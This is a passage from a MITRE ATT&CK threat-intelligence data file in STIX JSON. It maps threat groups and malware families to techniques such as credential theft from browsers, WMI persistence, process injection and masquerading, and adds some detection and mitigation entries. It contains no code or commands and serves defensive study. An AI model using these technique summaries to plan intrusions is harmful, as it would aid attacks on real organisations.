al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T20:56:06.497Z","description":"[BUSHWALK](https://attack.mitre.org/software/S1118) can embed into the legitimate `querymanifest.cgi` file on compromised Ivanti Connect Secure VPNs.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--29a0bb87-1162-4c83-9834-2a98a876051b","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5014ae85-9335-40df-b03b-bc08964d4ff7","created":"2022-10-06T16:15:26.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T16:16:44.726Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used password cracking and pass-the-hash tools to discover usernames and passwords.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5014ed30-309e-4bed-af86-ec5603736342","type":"relationship","created":"2021-09-15T14:37:10.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}],"modified":"2021-09-15T14:37:10.436Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used WMI event subscriptions for persistence.(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50156329-1c32-4044-9c6e-ee2eb079cd1c","type":"relationship","created":"2020-06-10T21:56:40.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Ukraine Feb 2016","url":"https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01","description":"US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:40.191Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) have used previously acquired legitimate credentials prior to attacks.(Citation: US-CERT Ukraine Feb 2016)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5017f2dc-e43e-438b-b63f-5f3f4603e9db","type":"relationship","created":"2021-09-21T15:16:40.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.671Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has dropped implants in folders named for legitimate software.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--501cd276-7cb4-40a6-b8be-d6cc6d743edc","created":"2022-01-25T16:15:24.957Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T17:47:47.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:09:58.419Z","description":"[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate files and drives.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5027a119-ff43-4ca6-a862-3efe39b29b3e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2021-06-21T12:32:12.863Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) monitors USB devices and copies files with certain extensions to a predefined directory.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--502d4200-719b-4b42-8221-0ecd0ed0d6e7","created":"2022-08-24T19:57:43.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-06T13:43:26.336Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can identify specific analytical tools based on running processes.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50308104-5191-4e83-a78e-321126ea5eee","type":"relationship","created":"2021-05-26T15:53:03.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-26T15:53:03.069Z","description":" [SombRAT](https://attack.mitre.org/software/S0615) has the ability to run cancel or closeanddeletestorage to remove all files from storage and delete the storage temp file on a compromised host.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.200Z","description":"A module in [Prikormka](https://attack.mitre.org/software/S0113) gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--503c4b74-7ca5-45e3-bb11-85a99ca1810f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-17T14:55:01.054Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5042a260-b7f4-4853-bbd9-089c2ef680cc","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--50446870-ba6c-4d0c-b657-586a6cba8903","created":"2022-04-17T18:40:06.788Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can use `IsDebuggerPresent` to detect whether a debugger is present on a victim.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-17T18:40:06.788Z","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5047ac79-8ed7-4f22-bfa2-fad8195f72b8","type":"relationship","created":"2021-06-04T16:28:59.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf","description":"Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.","source_name":"EFF Manul Aug 2016"}],"modified":"2021-06-04T16:28:59.507Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can detect USB devices.(Citation: EFF Manul Aug 2016)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--504b9a6b-bb70-4055-876b-12aafb342f69","type":"relationship","created":"2021-12-08T18:16:03.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T18:16:03.102Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) can use rundll32 for execution on compromised hosts.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50565ea3-2627-44b0-8dd3-155e37d425f3","type":"relationship","created":"2020-03-15T14:59:15.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-24T15:21:39.995Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--505cb238-11ca-4409-b008-6aa808d2ec2d","type":"relationship","created":"2020-10-02T15:47:10.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T15:47:10.227Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--505e8568-1870-4aca-81ff-7c222eb4db37","type":"relationship","created":"2020-02-21T22:25:12.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-02-09T15:43:49.043Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--506751ad-9b0d-4dc5-a6a5-b25521e66a1a","type":"relationship","created":"2020-11-18T20:20:31.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:44:51.438Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can inject into a target process using process doppelgänging.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5067b073-c076-43c1-9b71-122e31c39575","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html","description":"Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.","source_name":"FireEye FIN7 Shim Databases"}],"modified":"2019-06-30T23:13:18.342Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used application shim databases for persistence.(Citation: FireEye FIN7 Shim Databases)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--506d7613-59ce-4fa4-90b3-f991691d5b93","type":"relationship","created":"2020-11-08T23:40:19.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:42:19.853Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) has masqueraded as a legitimate Windows tool.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--506ed241-ba1e-47da-901a-d1943510d4b5","type":"relationship","created":"2020-06-10T19:31:48.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.415Z","description":"[build_downer](https://attack.mitre.org/software/S0471) has added itself to the Registry Run key as \"NVIDIA\" to appear legitimate.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5070c502-1f3b-4e8c-8eb5-2ea5379fd8f4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:58.017Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) collects data stored in the clipboard.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--507142c0-2cb1-4e3e-bf27-9514694a7d91","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for suspicious files (i.e. .pdf, .docx, .jpg, etc.) viewed in isolation that may steal data by exfiltrating it over an existing command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5071c70a-5aa8-4534-8cc4-676192728151","type":"relationship","created":"2020-02-11T18:25:28.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:25:28.308Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5073b1b4-4018-4208-a46e-86a8358a6cee","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.736Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can read data from files.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 